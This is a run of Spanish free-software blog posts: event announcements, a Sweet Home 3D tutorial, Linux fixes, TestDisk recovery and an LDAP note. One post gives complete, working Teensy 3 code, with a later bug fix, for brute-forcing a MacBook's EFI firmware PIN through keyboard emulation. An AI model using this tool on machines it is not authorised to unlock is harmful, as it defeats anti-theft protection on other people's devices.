Como les hablamos en una publicación anterior, ya están en proceso de organización diversos Eventos de Software Libre que se realizan en nuestro país, cada año en diversos estados. Hoy les vamos a ampliar la información referente al 9no Congreso Nacional de Software Libre (CNSL 9.0).


Este evento, el cual como pueden ver en su nombre llega a su novena edición, recorre diversos estados del país (uno cada fin de semana) llevando a todos los participantes dos días (viernes y sábado) de ponencias, charlas, talleres, demostraciones, entre otros, por supuesto todos dentro del ámbito del Software Libre (y algo de Hardware Libre). Este año tendrá su apertura el día 5 de abril, teniendo el siguiente recorrido:
  • 5 y 6 de Abril: Anzoátegui 
  • 26 y 27 de Abril: Bolívar 
  • 3 y 4 de Mayo: Cojedes 
  • 10 y 11 de Mayo: Apure 
  • 17 y 18 de Mayo: Guárico 
  • 24 y 25 de Mayo: Lara 
  • 31 de Mayo y 1 de Junio: Táchira 
  • 7 y 8 de Junio: Zulia 
  • 14 y 15 de Junio: Falcón 
  • 21 y 22 de Junio: Yaracuy 
  • 28 y 29 de Junio: Distrito Capital

Para mayor detalle de la agenda de cada sede, visita su página web CNSL. Si estas interesado en tener la información de cada una de las ciudades que visitará entra en la sección Sedes. Para inscribirte puedes hacerlo en la sección Inscripciones. Una de las ventajas que tiene este evento es que es de Entrada Libre y GRATUITA, no se debe pagar para tener acceso al conocimiento y participar de todas sus actividades, el pago del certificado es totalmente OPCIONAL, si el participante quiere puede hacer un pago (bastante económico para como están los costos actualmente de este tipo de eventos) y tendrán al final del evento su cartoncito Certificado de Asistente.

Si quieres contactar a la organización de este evento lo puedes hacer por los medios que aparecen en su sección de Contacto y si estas interesado en postular alguna charla o taller puedes hacerlo siguiendo los lineamientos publicados aquí.

Cualquier duda, comentario o información sobre otros eventos puedes esribirnos a consulta_friki@kioscofriki.com.ve
Y recuerda, si esta información te ayudó y quieres colaborarnos económicamente puedes hacer tu donación aquí

Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.

Teensy v3 usada para el ataque al EFI PIN

Dicen que de los errores se aprende así que quiero compartir este con ustedes para que se les haga mas fácil.



Un poco de historia en este caso.

Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.

Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:

Captura de pantalla bloqueada por el iCloud PIN de OSX


Manos a la obra.

Como no conocía que intenciones o de lo que era capaz el vendedor decidí formatear el disco a bajo nivel, lo monte en otra maquina y le hice `dd if=/dev/random of=/dev/sdd` como por unos 30 minutos, detuve el proceso y volví a armar la MBP.

Mi sorpresa fue que al querer iniciar desde el disco de OSX para iniciar la re-instalación me salió otra pantalla donde pedía un password, esta vez no tenia limite de caracteres pero seguía siendo numérico. Investigando un poco me di cuenta que los procesos de NVRAM no funcionarían pues esta MBP era muy nueva aunque de todas formas lo intente y corrobore mi teoría.

En algunos foros sugerían que se intente cada combinación manualmente y que algunos les había tomado un par de semanas en sus ratos libres, suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto tiempo me tomaría? y si me salto por equivocación algún numero?



Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.

Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la playa y compartir con mi familia decidir automatizar este proceso. La lógica es simple, un contador del 0 al 9999 que siempre le de formato a la salida en forma de 4 dígitos, no es cosa del otro mundo.

Que hardware puedo usar? que módulos del kernel en Linux tengo que cargar para enviar la data desde una maquina a otra como si fuese un teclado? así se inicia mi búsqueda y mi pronta realización de que necesitaría un hardware especializado para esto.

La mayoría de nuestras computadoras son incapaces de hacer que su controladora USB se identifique como un HID (dispositivo de interfaz humana por sus siglas en ingles) por lo que no podría hacer esto desde mi computadora usando BASH o Python.

Un dispositivo que podría funcionar es una Arduino pero no sin antes armar un shield y el costo de este shield (ya teniendo el breadboard o un protoshield) es de aproximadamente unos $24 sin incluir el envió y los impuestos. La alternativa es el Teensy que con envió e impuesto me costo poco menos de $23.

El Teensy 3 termino siendo el hardware mas efectivo para esta tarea, me hubiese gustado construir el shield requerido para el Arduino pero sin mucho tiempo libre que se diga este no era opción.

Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia de los anteriores que funcionaban con 5 voltios y que la industria se estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5 voltios quedarían obsoletos pronto.



El código y el ataque

Dos días después de que lo compre ya estaba en en casa y a los pocos minutos ya lo tenia corriendo una version mas simple del codigo final. Esta versión funcionaba sin problemas sobre un editor de texto plano, el detalle esta en que al intentar contra la MacBook Pro de apple no funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía nunca enviar el "enter".

Al día siguiente con la mente mas fresca y no después de un turno de 12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se gasto su tiempo para hacer esta forma de ataque lo mas difícil posible para una maquina pero a la vez lo mas amigable para un humano así que me dispuse a imitar un humano y luego de varios intentos termine con esta versión del código:

#include <usb_keyboard .h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter < = 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito. Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.

Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:

while true do
  clear echo
  date start=`date +%s -d "Wed Jan 16 17:46:00"`
  current=`date +%s`
  echo "Current PIN Between: " | tr '\n' ' '
  echo "($current - $start) / 19.782" | bc | tr '\n' ' '
  echo " and " | tr '\n' ' '
  echo "($current - $start) / 18.782" | bc
  sleep 2
done

Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.

Foto del shell script que da un estimado de que rango de números se están usando para el ataque


Buenas noticias, Malas noticias.

Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.

En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.

Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.

Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.

El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.

Aquí les dejo un vídeo del ataque:



Alternativas un poco mas extremas.

En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.

Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.



UPDATE: Un bug en el código

Recientemente este articulo fue reseñado en hackaday y varios foros lo que trajo como consecuencia que mas gente revisara mi código y se percataran de un error en este (¿ven la importancia del Código Abierto?).

En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo y comenzar el ataque de nuevo, de esto no ser posible me gustaría escuchar sugerencias de como probarlo.

- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:

Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto
En esta oportunidad les traemos una aplicación bastante particular utilizada para el "Diseño de Interiores", llamada Sweet Home 3D (la página en español aquí). No tienen que ser arquitectos, ni diseñadores, simplemente al momento de tener que remodelar algún inmueble, les será de gran ayuda, como nos ha sucedido a nosotros que estamos en ese proceso de construir/remodelar nuestro apartamento. 

Siguiendo pasos muy sencillos podrán ubicar los espacios, paredes, pisos, techos, además del mobiliario y hasta las personas que en ella se van a encontrar, colocándole las medidas exactas y las dimensiones adecuadas, texturas, colores, entre otros. Lo mas importante no es solo que se puede organizar sino que como la herramienta da los totales en metros cuadrados de las medidas pueden hacer los cálculos del material a utilizar y por supuesto del dinero a necesitar según el costo de los mismos.
Como siempre debemos comenzar instalando la aplicación, en este caso pueden encontrar en la página oficial, la sección de descargas donde pueden encontrar el archivo correspondiente (aquí), pero adicionalmente también tenemos la aplicación en los repositorios del sistema, lo que nos facilita aún mas el trabajo, nos dirigimos al centro de software (si estamos en UBUNTU) y buscamos "Dulce Hogar 3D" o por consola como superusuario escribimos "aptitude install sweethome3d"

A continuación les presentaremos una breve explicación de su uso, las imagenes referenciales se encontrarán debajo de la explicación y estarán identificadas por números a las cuales haremos referencia colocándolos entre paréntesis. Para consultas o comentarios escribir a consulta_friki@kioscofriki.com.ve

Al abrirla la aplicación, se nos presenta una ventana dividida en cuatro secciones. En el ángulo superior izquierdo (1), se presentan el mobiliario con el que se cuenta para colocar en los espacios de la casa. En el ángulo inferior izquierdo (2), se va generando el listado del mobiliario utilizado a medida que se va a colocando en los espacios de la casa. En el ángulo superior derecho (3), se encuentra el área donde se creará el diseño de la casa en 2D y en el ángulo inferior derecho (4), se va generando automáticamente el diseño en 3D. A todas estas secciones se les puede modificar el tamaño de acuerdo a lo que se requiera.
Imagen 01
Adicional a estas cuatro secciones, la aplicación cuenta con las correspondientes barras de herramientas, de menú y de iconos de accesos directo, en donde se encuentran las opciones generales para trabajar en el diseño de los ambientes. La barra de iconos, cuenta con las tradicionales acciones de nuevo, abrir y guardar, deshacer, rehacer, copiar, cortar y pegar.
A continuación de estas opciones presenta los iconos de crear paredes, crear habitaciones, establecer medidas e inserción de texto. Cada una de estas opciones se irán explicando a medida que se usen, así como los menúes con los que cuenta.
Imagen 02
Para empezar se tiene la opción de cargar de fondo la imagen del plano que se va a realizar, si la persona tiene conocimientos en la realización de planos puede omitir esta opción y comenzar a crear las paredes y espacios sin necesidad de tenerlo cargado, en nuestro caso vamos a colocar el plano del apartamento que estamos remodelando en este momento.
Para ellos nos dirigimos al Menú Plano -> Importar Imagen de Fondo (5). Lo cual abrirá una ventana adicional donde podrán buscar la imagen donde la tengan escaneada e importarla a la aplicación Sweet Home 3D, deberán ahcer clic en el botón Aceptar para añadirla o Cancelar para no colocar la imagen(6).
Imagen 03
Al tener el plano de fondo ya podrán comenzar a colocar las paredes, pisos, habitaciones y todo lo necesario (7), para ello simplemente hacemos clic en el icono que se encuentra en la barra de herramientas y nos situamos en el sitio donde queremos colocarla, y este mismo procedimiento para cada una de las partes que se quieran colocar en el diseño (8). Todo esto se debe hacer en el ángulo superior derecho de la aplicación (sección número 3, en la imagen 01), y a medida que se colocan se va mostrando la imagen 3D en el ángulo inferior derecho de cada una de las paredes, pisos, superficies, elementos ((sección número 4, en la imagen 01)

La aplicación presenta una serie de mensajes para realizar las respectivas acciones, en caso de no querer leerlos todas las veces, se tilda la opción "No Mostrar este consejo de Nuevo" y no lo vuelve a presentar.
Imagen 04
En caso de querer tener mas precisión en las medidas se pueden editar cada una de las partes colocadas simplemente haciendo doble clic sobre ellas y se modifican los valores correspondientes en el cuadro que se muestra (9).
En este cuadro se puede modificar el tamaño, los colores, las texturas, entre otros, luego de colocar los valores requeridos, se da clic en Aceptar para que tome estos valores o Cancelar para terminar con la edición. Luego podrán apreciar en la imagen 3D los valores colocados (10).
Imagen 05
Luego de tener lista todo el proceso del inmueble, se puede comenzar a colocar el mobiliario y los adicionales correspondientes (11). Como pueden ver a lo largo de las cuatro secciones con las que cuenta la aplicación (Imagen 01 de esta publicación), se presenta a un lado el mobiliario con el que se cuenta (Lado izquierdo arriba), y a medida que se colocan en sus lugares (Lado derecho arriba) se va generando un listado al respecto (Lado izquierdo abajo), y se va presentado en 3D (Lado derecho abajo).
Otro de los detalles interesantes con los que cuenta esta aplicación es la de poder hacer una "Visita Virtual" dentro del inmueble creado, lo cual crea un realismo único al momento de recorrerlo. Para habilitarlo sólo se deben dirigir al menú Vista 3D -> "Visita Virtual" y les presentará una vista de manera que pueden ir recorriendo cada una de las áreas del mobiliario.
Imagen 06
La aplicación cuenta con muchas opciones, en esta publicación les presentamos las básicas para arrancar a trabajar, de aquí en adelante queda de parte de ustedes usar la aplicación y conocerla aun más.
Como comentario adicional las imágenes 05 y 06 corresponden al apartamento de quienes escribimos este blog, para aquellos que tienen dudas del verdadero uso de la aplicación, sinceramente, ayuda mucho en los casos de remodelación y mejoras a algún mobiliario.

Ya saben para cualquier duda, comentario o información sobre otros eventos puedes escribirnos a consulta_friki@kioscofriki.com.ve 
Y recuerda, si esta información te ayudó y quieres colaborarnos económicamente puedes hacer tu donación aquí
Para la semana del 04 al 10 de febrero según la información publicada por la Document Foundation (aquí), se tiene previsto hacer  el lanzamiento oficial de la versión 4.0 de la suite ofimática LibreOffice.
En nuestro país se estarán realizando una serie de eventos en diferentes ciudades y en diferentes días a lo largo de ese semana para su celebración, adicionalmente se tiene previsto hacer eventos en conjunto con la Comunidad de LibreOffice en Colombia, para leer información al respecto se creo la página de LibreOffice América en donde se estará publicando toda la información sobre los preparativos, ideas y eventos a realizarse.

Si quieres participar o estar al tanto de las informaciones, puedes verificarlo en los diferentes medios con los que contamos para ello:
Comienza el año y empezamos a tener noticias de la organización de eventos de Software Libre en Venezuela (y fuera de él). En esta breve reseña les vamos a colocar algunas de los eventos que ya están sonando a lo largo y ancho de las redes sociales y otros medios web de nuestro país, ya que comienza la organización de los mismos, les hablaremos un poco de lo que es cada uno de estos eventos y los enlaces para que estén informados de lo que vaya aconteciendo al respecto.

 Para no herir susceptibilidades los estaremos colocando en el orden como se van a ir ejecutando cada uno de ellos.
  1. Lanzamiento LibreOffice 4.0 - para la semana del 04 al 10 de febrero se estará haciendo el lanzamiento oficial de la Versión 4.0 de LibreOffice por lo que se estarán realizando una serie de eventos en diferentes lugares del país para celebrarlo, así mismo se busca hacer celebraciones simultáneas con la comunidad de Colombia. Aún no se tiene la información de la comunidad en Venezuela, pero se tendrá en un corto plazo aquí y para la información de la comunidad de Colombia y los eventos simultáneos se tendrá publicada aquí
  2. DFD (Document Freedom Day) o Día de La Libertad de los Documentoses un evento que se celebra a nivel mundial desde el 2008, con la finalidad de difundir el uso de formatos y estándares abiertos y las diversas aplicaciones que se pueden utilizar para ello. Este año la fecha para su realización es el 27 de marzo. 
  3. FLISOL o Festival Latinoamericano de Instalación de Software Libre (FLISoL), es uno de los eventos de difusión de Software Libre más grande en Latinoamérica. Se realiza desde el año 2005 y desde el 2008 se adoptó su realización el 4to Sábado de abril de cada año, este año corresponde al 27 de abril. Su principal objetivo es promover el uso del software libre, dando a conocer al público en general su filosofía, alcances, avances y desarrollo. Pueden leer más información al respecto aquí y en este mismo sitio pueden publicar la información de su ciudad si lo van a estar realizando este año. Su cuenta en tuiter pueden verla aquí
  4. 9no CNSL o Congreso Nacional de Software Libre, es el evento de mayor duración (en tiempo) de latinoamérica, consiste en una serie ordenada de eventos que visita una ciudad por semana durante tres meses de actividades y conferencias en las cuales una selección importante de expertos nacionales e internacionales en el uso de GNU/Linux y el Software Libre ofrecen a todos los participantes una muestra integral del Software Libre, su implementación, características, posibilidades y lo más importante: sus valores éticos y la importancia de vivir en libertad y con Soberanía Tecnológica.
  5. Jornastec 2013 o Jornadas Nacionales de Soberanía Tecnológica, es un evento nacional itinerante donde se difunden y discuten temas relacionados a la Soberanía Tecnológica esta actividad es organizada por el Colectivo TeleTriunfador, agrupación nacida en los ambientes de estudio por triunfadores y triunfadoras de la Misión Sucre, hasta ahora de este evento solo sabemos que se estará realizando en el último cuatrimestre del año. Pronto publicaremos mas información al respecto.
Cualquier duda, comentario o información sobre otros eventos puedes esribirnos a consulta_friki@kioscofriki.com.ve
Y recuerda, si esta información te ayudó y quieres colaborarnos económicamente puedes hacer tu donación aquí

image

Gracias a que he adquirido un Samsung Note 2 me he comprometido a tener un stream más completo y continuo sobre los típicos que me interesan, debo acotar que nunca antes me había sentido tan cómodo con un smartphone y que sus capacidades han provocado que al menos por el día de hoy este desconectado de mi laptop, obviamente es imposible dejarla del todo de lado, pero si podría reducir su uso considerablemente. Algo que he notado en los patrones de uso de los teléfonos inteligentes últimamente es que mucha gente solo los utiliza para hacer vida social, o para molestar a otros que realmente usan su equipo para trabajar, esta ha sido la razón principal por la cual he elegido escapar del mundo BlackBerry por el momento, en realidad me sentía agobiado por la cantidad de cadenas sin sentido de los que son capaces los contactos que tenia agregados y aunque eliminarlos era una opción no era la más viable, muchos de mis contactos eran familiares, amigos, compañeros de trabajo, etcétera.

A lo que me refiero es que eliminarlos podría ser interpretado como un acto hostil, una invitación a la guerra de diemes y diretes, la mejor opción era cambiar totalmente y navegar por el amplio caudal de Android. Y así sucedió, y me siento totalmente cómodo con el cambio pero aun extraño elementos que existen en BlackBerry que brillan por su ausencia en Android, una de ellas es el BBM, no hay mensajería mejor que esta y aunque fue la raíz del problema y de mi éxodo, no existe una alternativa en Google Play que brinde la misma sensación de presencia y aunque dupliquen sus capacidades se quedan cortas en sus virtudes.

Con los días y el uso continuo he podido experimentar las deficiencias de BlackBerry cómo plataforma social y no sólo en ese aspecto si no que de igual manera en otros más importantes, el 2013 es definitivo para RIM y me gustaría verlos volver a su nicho corporativo ofreciendo servicios que otros no poseen o por lo menos ofreciendo algo que los destaque, por mi parte y mi opinión estaría dispuesto luego de la investigación exhaustiva a la que me someto para adquirir un nuevo equipo, a darle una probada a BlackBerry 10.

Quizá en algún momento haz tenido el mensaje (“The VirtualBox Linux kernel driver…”) al iniciar una virtualización.

vbox-error-kernel-driver

Para solucionar este percance solo debes ejecutar la siguiente linea de comando.

sudo /etc/init.d/vboxdrv setup

Si esta no te funciona, prueba con esta.

sudo apt-get install dkms linux-headers-generic virtualbox-ose-source

Espero que te sirva de algo.

Fuente: http://obux.wordpress.com/2008/12/01/solucionar-problema-en-virtualbox-al-actualizar-el-kernel-de-ubuntu/

exfat

Seguro en algún momento hemos tenido la necesidad de acceder a un dispositivo de almacenamiento con formato exFAT. XUbuntu por defecto NO tiene el soporte, pero aquí una forma de instalarlo.

Abrir una consola y ejecutar lo siguiente:

1.- sudo apt-add-repository ppa:relan/exfat <- Agregamos los repositorios de exfat
2.- sudo apt-get update <- Actualizamos.
3.- sudo apt-get install fuse fuse-exfat exfat-utils <- instalando el soporte y utilidades.

Ya tenemos el soporte exFAT disponible.
Este procedimiento esta y fue probado con Xubuntu 12.10 y funciono perfectamente

Fuente: http://redactalo.com/

     

     Saludos lectores, en este post trataré como recuperar particiones perdidas por un “error humano” (formateo) al momento de instalar un nuevo OS en tu maquina. 

     Este post lo realizo cinco días después de haber cometido el error, y un día después de haber utilizado Testdisk.

     Quiza muchos consideren que estoy redundando en la información, porque existen infinidad de artículos en Internet que tratan del tema de forma clara y sencilla, pero algo que noté en esos artículos, es que al parecer no vivieron la agonía del momento. La explicación es sobre el caso en particular del titulo de este articulo (“RECUPERAR DATOS DE PARTICIONES ELIMINADAS O RESCRITAS USANDO TESTDISK EN GNU/LINUX”).

     En mi laptop tenia un OS (Ubuntu 12.10), que me estaba presentando algunos errores quizá por mala instalación, y queriendo instalar un nuevo OS en mi laptop (Ubuntu 12.10) desde cero en la partición del OS, he seleccionado por error de interpretación la opción “Eliminar todo y reinstalar”, y aunque el aviso sostiene que eliminará todos los programas, documentos, fotos, música y demás archivos del sistema que posee en el hardware, existe una omisión de información, pues debería explicar que realizará una nueva tabla de particiones, y eliminará las particiones que se poseen. Pero tampoco dice que se mantendrán las particiones intactas. Esto fue quizá lo que provoco mi error en la selección y otros factores del entorno.

     Después que el sistema operativo se instaló. Me dirijo a ver la partición donde tenia los datos, y mi sorpresa es que no existe tal partición; fueron eliminadas y creada una sola partición donde se instaló el OS nuevo.

     La reacción primera fue de mucho susto, luego resignación, y al final saber que no todo esta perdido, quizá con alguna herramienta podría recuperar algo de los 120 GB de datos de todos mis trabajos de varios días y meses, pues siempre había leído pero nunca vivido sobre estos casos, y solía decir “Quien borraría todo por equivocación”… lolol xD

...Bien, habiendo relatado la situación que detona la utilización de Testdisk. A Continuación describo los pasos para poder recuperar las particiones.

1.- En primera instancia debes tener otro equipo con un disco duro de capacidad igual al que quieres recuperar o un poco mas grande al tamaño de los datos a recuperar y que este espacio este disponible (libre).

2.- Instalar Testdisk en el equipo salvador, usando “aptitude install testdisk” asumiendo que el OS es GNU/Linux como se especifica en el titulo del post.

3.- Conectar como esclavo, o como dispositivo usb con un convertidor de IDE o sata a usb.

4.- Abrir el terminar y entra como root.

5.- Ejecutar el comando “testdisk”.

En este paso se mostrarán cuantos discos duros poseas conectado, en este caso mostrará dos discos duros. Utilizando las flechas direccionales ubicar el cursos en el disco a salvar y presionar enter; se mostrara una pantalla que en resumen te pregunta si deseas guardar logs de lo que estas realizando.

6.- En mi caso escogí la opción “No Log” enter, ya que no me interesan.

Ahora se presenta un menú de posibles opciones a realizar al disco a salvar.

7.- Ubicarse en el disco a salvar, y seleccionar la opción “Proceed”.

Se muestra un menú con diversas opciones, Intel, Efi gpt, Mac, entre otros.

8.- Seleccionar la opción “Intel”.

9.- En el siguiente Menú, con las flechas direccionales ubicarse en la opción “Analyse” enter.

Muestra la tabla de particiones actual, es decir la que resulto de la instalación del nuevo OS, en este caso muestra solo una partición primaria, ya que reescribió las que tenia antes.

10. Ubicarse en la partición, y seleccionar la opción “Quick Search”.

Se muestran la tabla particiones, en mi caso no la encontré aquí la que estaba buscando.

8.- Seleccionar con las flechas direccionales la opción de “Deeper Search” enter.

Esta opción permite hacer como su nombre lo indica una búsqueda profunda, mostrando una pantalla donde se van mostrando varias opciones, cada opción representa o bien una partición, o bien un punto de restauración, es por ello que quizá en algún momento veras las etiquetas de la partición, pero luego se desaparecen a simple vista. Deja que el proceso termine totalmente.

9.- Muévete con las flechas por las opciones, abajo tienes la leyenda de las etiquetas a manera de información.

10.- Cambia a estado “P” las particiones que estabas buscando, siempre y cuando esta acción no ponga en peligro la estructura del disco a salvar. Cuando realizas los cambios aparece un mensaje en color rojo al final cuando la estructura puede ser dañada.

11.- Después que conseguí las particiones a recuperar, y de haber cambiado sus estados a “P”, selecciono la opción “Write”.

12.- Posteriormente al finalizar el proceso, solo queda desconectar el disco a salvar, y volverlo a conectar para ver los cambios de la tabla de particiones.

13.- Montar la partición en la que se encuentran los datos, y realizar un respaldo en el equipo salvador, pues aunque las particiones ya fueron recuperadas, no volverás a estar sin respaldo de tus datos para hacer cualquier otra cosa.

Espero que te sirva esta información.. sino haz podido recuperar los datos sigue buscando otras herramientas que puedan ayudarte y gasta todos los recursos posibles.. de lo contrario solo resígnate que la vida continua..

Saludos y éxitos!!!

En mi trabajo ha surgido la necesidad de crear una infraestructura de LDAP+kerberos, que voy a montar sobre (adivinaron) Debian. Si bien en la web hay varios artículos al respecto, ésto es lo que les recomiendo dentro de lo que vengo leyendo:
Un problema general que me he encontrado en convertir los ejemplos de configuraciones de slpad.conf al formato manejado dentro del mismo árbol de LDAP. Pero si hubiese leído las cosas en el orden que puse arriba, me hubiese sido mas fácil de entrada :-)

Un amigo me recomendó mirar la wiki de DebianLan para lograr un setup mucho más rápido. Todavía no he llegado a ésa parte.